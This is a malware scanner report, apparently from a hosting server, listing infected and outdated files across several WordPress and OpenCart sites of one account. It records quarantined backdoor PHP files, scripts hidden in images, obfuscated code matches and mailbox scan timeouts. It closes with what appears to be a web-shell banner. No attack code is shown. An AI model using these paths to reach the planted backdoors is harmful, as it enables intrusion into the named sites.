
'/home/akhalid/gootech.app/wp-includes/revisions.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.2 < v6.8]

'/home/akhalid/gootech.app/wp-includes/SimplePie/Content/Type/export_servant.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/export_servant.php.1745511489_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]

'/home/akhalid/gootech.app/wp-includes/blocks/comments-title/wp/vfsZxCbXGO.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/vfsZxCbXGO.php.1745511506_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/gootech.app/wp-includes/certificates/wp/zetWqga.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-includes/images/smilies/icon_twisteds.png'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-includes/js/dist/server-sied-renders.min.js'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-includes/sodium_compat/src/Core32/Poly1305/wp/tqwkcoFLFu.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-includes/sodium_compat/src/Core32/SecretStream/wp/YgRKjBX.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/ibrenergy.com/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.4 < v7.0.1]

'/home/akhalid/ibrenergy.com/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.1.7 < v6.8]

'/home/akhalid/ibrenergy.com/wp-includes/sodium_compat/src/Core/Curve25519/client_profit.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/client_profit.php.1745512031_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/elfanareng.com/ali/cur/1704246617.M874571P1902952.premium229.web-hosting.com,S=27359242,W=27714677:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/elfanareng.com/farid/.Archive/cur/1687661705.M73155P3908151.premium229.web-hosting.com,S=35642776,W=36105808:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/elfanareng.com/farid/cur/1706650112.M453343P3661900.premium229.web-hosting.com,S=28364289,W=28732856:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/ali/cur/1680502627.M519078P760420.premium229.web-hosting.com,S=31719764,W=32131948:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/ali/cur/1700556346.M53119P788168.premium229.web-hosting.com,S=6350465,W=6433185:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/farid/.Sent/cur/1672862722.M364725P2689507.premium229.web-hosting.com,S=10358589,W=10493134:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/farid/cur/1672974550.M785809P3788957.premium229.web-hosting.com,S=18053844,W=18288529:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/farid/cur/1695038684.M727587P3322733.premium229.web-hosting.com,S=34002002,W=34443860:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/info/.Sent/cur/1697183319.M435285P4071734.premium229.web-hosting.com,S=21760178,W=22042896:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/info/cur/1722535164.M398447P1212203.premium229.web-hosting.com,S=15282820,W=15481347:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/info/cur/1723036790.M26654P4029815.premium229.web-hosting.com,S=20028703,W=20288866:2,FRS'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/ibrenergy.com/info/cur/1732675401.M97161P207961.premium229.web-hosting.com,S=4692884,W=4754013:2,'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/maxsym.co/info/cur/1683977430.M192131P2344897.premium229.web-hosting.com,S=4121116,W=4174741:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/maxsym.co/info/cur/1708487938.M432985P2659512.premium229.web-hosting.com,S=11967866,W=12123402:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/maxsym.co/info/cur/1708536916.M150350P2389783.premium229.web-hosting.com,S=30650904,W=31049085:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/maxsym.co/info/cur/1709128380.M657837P242378.premium229.web-hosting.com,S=33929773,W=34370599:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/maxsym.co/info/cur/1710709405.M826500P2134303.premium229.web-hosting.com,S=6346313,W=6428879:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/maxsym.co/info/cur/1710843798.M258554P62085.premium229.web-hosting.com,S=26675915,W=27022506:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/maxsym.co/info/cur/1710843802.M705853P62085.premium229.web-hosting.com,S=26675907,W=27022498:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/mansur/cur/1678093377.M832465P823545.premium229.web-hosting.com,S=4881926,W=4945421:2,'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/mansur/cur/1686638165.M261493P1861134.premium229.web-hosting.com,S=10718095,W=10857410:2,'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/mansur/cur/1690982457.M546945P2806714.premium229.web-hosting.com,S=20565247,W=20832529:2,'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/mansur/new/1711281730.M64041P2878317.premium229.web-hosting.com,S=7097006,W=7189324'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/mansur/new/1728754242.M470836P3649168.premium229.web-hosting.com,S=15135714,W=15332356'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/mansur/new/1729149221.M515997P2715534.premium229.web-hosting.com,S=9373992,W=9495776'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/mansur/new/1732471234.M826043P3064096.premium229.web-hosting.com,S=17229723,W=17453591'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/.Sent/cur/1673287861.M930528P1280999.premium229.web-hosting.com,S=43389434,W=43952984:2,Sa'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1679167371.M761483P2556396.premium229.web-hosting.com,S=14822871,W=15015919:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1681152061.M179427P782759.premium229.web-hosting.com,S=11099317,W=11243558:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1681676333.M322681P1814509.premium229.web-hosting.com,S=7920146,W=8023262:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1685806603.M133533P1309312.premium229.web-hosting.com,S=11402591,W=11550831:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1692853267.M4429P3264163.premium229.web-hosting.com,S=6421658,W=6505323:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1694016913.M866945P65072.premium229.web-hosting.com,S=18560593,W=18801800:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1708269788.M911788P1466556.premium229.web-hosting.com,S=31107550,W=31511714:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1708438007.M852967P1937445.premium229.web-hosting.com,S=12565541,W=12728909:2,'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1711605704.M557863P2034025.premium229.web-hosting.com,S=16972249,W=17192863:2,'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1714843352.M280728P502295.premium229.web-hosting.com,S=5605541,W=5678515:2,'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1715784418.M819926P2495908.premium229.web-hosting.com,S=17016000,W=17237180:2,S'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/nas-yemen.org/ndhr/cur/1716787926.M162356P1597727.premium229.web-hosting.com,S=23677898,W=23985638:2,'

'/home/akhalid/mail/new/1670787260.M161691P2589341.premium229.web-hosting.com,S=3163,W=3239'
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/1670787260.M161691P2589341.premium229.web-hosting.com,S=3163,W=3239.1745519339_1) ClamAV detected virus = [YARA.telnet_cgi.UNOFFICIAL]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/mail/shabwahrefinery.com/farid/.Sent/cur/1701619254.M47313P3114223.premium229.web-hosting.com,S=40933740,W=41465416:2,S'

'/home/akhalid/nas-yemen.org/public_html/wp-content/plugins/contact-form-7/wp-contact-form-7.php'
# Script version check [OLD] [Contact Form 7 v5.7.2 < v6.0.6]

'/home/akhalid/nas-yemen.org/public_html/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.4 < v7.0.1]

'/home/akhalid/nas-yemen.org/public_html/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.1.7 < v6.8]

'/home/akhalid/nas-yemen.org/public_html/wp-includes/PHPMailer/tmp_touching.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/tmp_touching.php.1745521527_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]

'/home/akhalid/omerysh.com/public_html/header.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/index.php'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/wp-confiq.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/wp-confiq.php.1745521807_1) (decoded file [advanced decoder: 14 (depth: 2)]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/omerysh.com/public_html/catalog/controller/mail/yReKh.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/yReKh.php.1745522264_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/omerysh.com/public_html/catalog/language/ar/cache_because.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/cache_because.php.1745522266_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]

'/home/akhalid/omerysh.com/public_html/catalog/view/wp/akgTpWX.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/image/cache/catalog/ 2006'
# Suspicious directory

'/home/akhalid/omerysh.com/public_html/image/cache/catalog/up/11/jdPFCfdbPo.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/image/cache/catalog/سياره كرولا اوربي 2008/ دل-وائل'
# Suspicious directory

'/home/akhalid/omerysh.com/public_html/image/cache/catalog/ملفات الرفع/ 2010'
# Suspicious directory

'/home/akhalid/omerysh.com/public_html/image/cache/catalog/ملفات الرفع/ شاشة '
# Suspicious directory

'/home/akhalid/omerysh.com/public_html/image/cache/catalog/ملفات الرفع/لاند كروزر/ElEpPtJZ.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/image/cache/wp/NpFdDEOA.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/image/catalog/ 2006'
# Suspicious directory
# World writeable directory

'/home/akhalid/omerysh.com/public_html/image/catalog/c/arOBWkV.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/image/catalog/سياره كرولا اوربي 2008/ دل-وائل'
# Suspicious directory

'/home/akhalid/omerysh.com/public_html/image/catalog/صور غير/سياره سنتافي 2007'
# World writeable directory

'/home/akhalid/omerysh.com/public_html/image/catalog/ملفات الرفع/ 2010'
# Suspicious directory
# World writeable directory

'/home/akhalid/omerysh.com/public_html/image/catalog/ملفات الرفع/ شاشة '
# Suspicious directory
# World writeable directory

'/home/akhalid/omerysh.com/public_html/image/catalog/ملفات الرفع/لاند كروزر'
# World writeable directory

'/home/akhalid/omerysh.com/public_html/image/catalog/ملفات الرفع/مطلوب جوال K200'
# World writeable directory

'/home/akhalid/omerysh.com/public_html/system/storage/vendor/symfony/validator/Constraints/wp/OdQzcyjO.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/OdQzcyjO.php.1745529460_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/omerysh.com/public_html/system/storage/wp/NxicrHKNHF.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/tr'
# World writeable directory

'/home/akhalid/omerysh.com/public_html/wp-admin/images/media-button-music-2x.gif'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/wp-includes/revisions.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/wp-includes/images/smilies/icon_twisteds.png'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/omerysh.com/public_html/wp-includes/js/dist/server-sied-renders.min.js'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/public_html/school-pages.zip'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/public_html/school/assets/assets/vendor/libs/datatables-bs5/datatables-bootstrap5.js'

'/home/akhalid/public_html/wp-content/plugins/contact-form-7/wp-contact-form-7.php'
# Script version check [OLD] [Contact Form 7 v5.7.2 < v6.0.6]

'/home/akhalid/public_html/wp-content/plugins/creame-whatsapp-me/joinchat.php'
# Script version check [OLD] [Joinchat v4.5.14 < v5.2.4]

'/home/akhalid/public_html/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v5.3.1 < v7.0.1]

'/home/akhalid/public_html/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.1.7 < v6.8]

'/home/akhalid/quarantine_clamavconnector/logs_gootech.app.2az.dev-ssl_log-Sep-2022.gz'
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/logs_gootech.app.2az.dev-ssl_log-Sep-2022.gz.1745530755_1) ClamAV detected virus = [{HEX}php.malware.magento.599.UNOFFICIAL]

'/home/akhalid/quarantine_clamavconnector/tmp_awstats_ssl_awstats062022.ahmedkhalid.2az.dev.txt'
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/tmp_awstats_ssl_awstats062022.ahmedkhalid.2az.dev.txt.1745530755_1) ClamAV detected virus = [{HEX}php.malware.magento.599.UNOFFICIAL]

'/home/akhalid/quarantine_clamavconnector/tmp_awstats_ssl_awstats092022.drsarirabah-com.2az.dev.txt'
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/tmp_awstats_ssl_awstats092022.drsarirabah-com.2az.dev.txt.1745530755_1) ClamAV detected virus = [{HEX}php.malware.magento.599.UNOFFICIAL]

'/home/akhalid/quarantine_clamavconnector/tmp_awstats_ssl_awstats092022.gootech.app.2az.dev.txt'
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/tmp_awstats_ssl_awstats092022.gootech.app.2az.dev.txt.1745530755_1) ClamAV detected virus = [{HEX}php.malware.magento.599.UNOFFICIAL]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/saitoncompany.com/saiton.zip'

'/home/akhalid/saitoncompany.com/.tmb'
# World writeable directory

'/home/akhalid/saitoncompany.com/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-spam: Spam Protection v5.3.5 < v5.3.7]

'/home/akhalid/saitoncompany.com/wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/clike/index.html'
# Suspicious file type [application/x-c]

'/home/akhalid/saitoncompany.com/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.4 < v7.0.1]

'/home/akhalid/saitoncompany.com/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html'
# Suspicious file type [application/x-c]

'/home/akhalid/saitoncompany.com/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.7.2 < v6.8]

'/home/akhalid/shabwahrefinery.com/header.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/index.php'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/shabwahrefinery.com/shabwahrefinery.zip'

'/home/akhalid/shabwahrefinery.com/wp-confiq.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/wp-confiq.php.1745531174_1) (decoded file [advanced decoder: 14 (depth: 2)]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/shabwahrefinery.com/old/.tmb'
# World writeable directory

'/home/akhalid/shabwahrefinery.com/old/wp-admin/network/copy_all.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/copy_all.php.1745531229_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]

'/home/akhalid/shabwahrefinery.com/wp-admin/css/colors/coffee/QxWowLz.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/QxWowLz.php.1745531246_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/shabwahrefinery.com/wp-admin/images/media-button-music-2x.gif'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-spam: Spam Protection v5.3.2 < v5.3.7]

'/home/akhalid/shabwahrefinery.com/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.4 < v7.0.1]

'/home/akhalid/shabwahrefinery.com/wp-content/upgrade-temp-backup/wp/oDbMhD.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/oDbMhD.php.1745531308_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/shabwahrefinery.com/wp-content/uploads/2024/AOqsnB.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-content/uploads/sites/2/2024/08/QTdKbc.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-includes/revisions.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.5.5 < v6.8]

'/home/akhalid/shabwahrefinery.com/wp-includes/blocks/post-navigation-link/ptTjAV.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-includes/images/smilies/icon_twisteds.png'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-includes/js/dist/server-sied-renders.min.js'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-includes/rest-api/wp/HBaSQZF.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-includes/sitemaps/wp/ClTWjLDo.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/shabwahrefinery.com/wp-includes/sodium_compat/wp/YKwev.php'
# Decode regex match = [decode regex: 1]

----------- SCAN SUMMARY -----------
Scanned directories: 17496
Scanned files: 300934
Ignored items: 1123
Suspicious matches: 211
Viruses found: 5
Fingerprint matches: 20
Data scanned: 29770.53 MB
Scan peak memory: 435568 kB
Scan time/item: 0.088 sec
Scan time: 28093.943 sec

Youez - 2016 - github.com/yon3zu
LinuXploit